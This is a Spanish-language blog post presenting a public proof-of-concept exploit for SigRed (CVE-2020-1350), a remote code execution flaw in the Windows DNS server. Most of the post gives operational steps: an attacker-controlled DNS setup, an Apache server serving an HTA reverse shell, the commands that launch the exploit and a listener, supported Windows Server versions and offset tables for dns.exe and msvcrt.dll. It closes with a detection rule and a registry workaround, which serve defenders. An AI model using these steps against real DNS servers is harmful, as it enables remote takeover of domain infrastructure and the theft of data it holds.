PoC para explotar SigRed (CVE-2020-1350)

La gran chompie nos regala un exploit en python que consigue RCE explotando Sigred, ya sabéis, la vulnerabilidad crítica en el servidor DNS de Windows (CVE-2020-1350) de las que ya os hablamos el pasado verano aquí.

Tenemos el repo en: https://github.com/chompie1337/SIGRed_RCE_PoC

Un atacante configuraría un dominio malicioso cuyo registro NS apunta a su servidor. Para la PoC, simplemente configuramos un reenviador condicional en la máquina víctima para reenviar solicitudes de "dominio maligno" a la máquina atacante. 

Luego en la máquina del atacante (probado en una VM Ubuntu 20.04.1) se configura un servidor Apache para que la víctima descargue el HTA de la shell reversa.

sudo python3 configure.py -ip IP_ATTACKER -p PORT_REVERSE_SHELL -hp PORT_APACHE_SERVER (default 80)

Ahora para ejecutar el exploit tendremos que hacerlo con sudo, porque necesitamos escuchar en los puertos TCP y UDP 53:
sudo python3 evildns.py

Posteriormente lanzamos:
python3 exploit.py -ip WINDNS_VICTIM_IP -d EVIL_DOMAIN

Y configuramos el listener para la shell reversa:
python3 reverse_shell/server.py -p PORT_REVERSE_SHELL

El HTA es una versión modificada de: https://github.com/freshness79/HTA-Shell
Hay que tener en cuenta que la shell no notifica cuando hay una conexión entrante, por lo que tendremos que escribir algún comando

Versiones soportadas

El exploit se ha probado en Windows Server 2019, 2016, 2012R2 y 2012 (versiones x64). Los offsets para algunas versiones de dns.exe y msvcrt.dll se encuentran en el archivo offsets.py. Esta lista no incluye todo asi que si la versión que estais probando no tiene el offset se puede añadir también manualmente ahí.

dns.exe offset mapping: (últimos 12 bits del offset para dns!RR_Free, dns!`string`): (offset de dns!RR_Free, dns!NsecDnsRecordConvert, dns!_imp_exit)
msvcrt.dll offset mapping: : (últimos 12 bits del offset para msvcrt!exit): (offset de msvcrt!exit, offset de msvcrt!system)

Nota: En el caso de una colisión de offsets, tendréis que hacer una selección de qué conjunto de offsets elegís. El servicio DNS se reiniciará después de 5 minutos aproximadamente hasta dos veces después de un bloqueo. Se debe reiniciar evildns.py después de cada intento. El exploit es estable, por lo que la posibilidad de una explotación "a ciegas" es alta.

Detección de explotación y workaround

Esta PoC incluye una regla Grapl para detectar la explotación de SigRed. Para implementar una regla en el SIEM correspondiente, hay que buscar procesos hijos no válidos de dns.exe.

Si la aplicación de parches no es posible, hay un workaround disponible:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /f
net stop DNS && net start DNS

Detalle técnico/writeup del exploit: https://www.graplsecurity.com/post/anatomy-of-an-exploit-rce-with-cve-2020-1350-sigred

Comentarios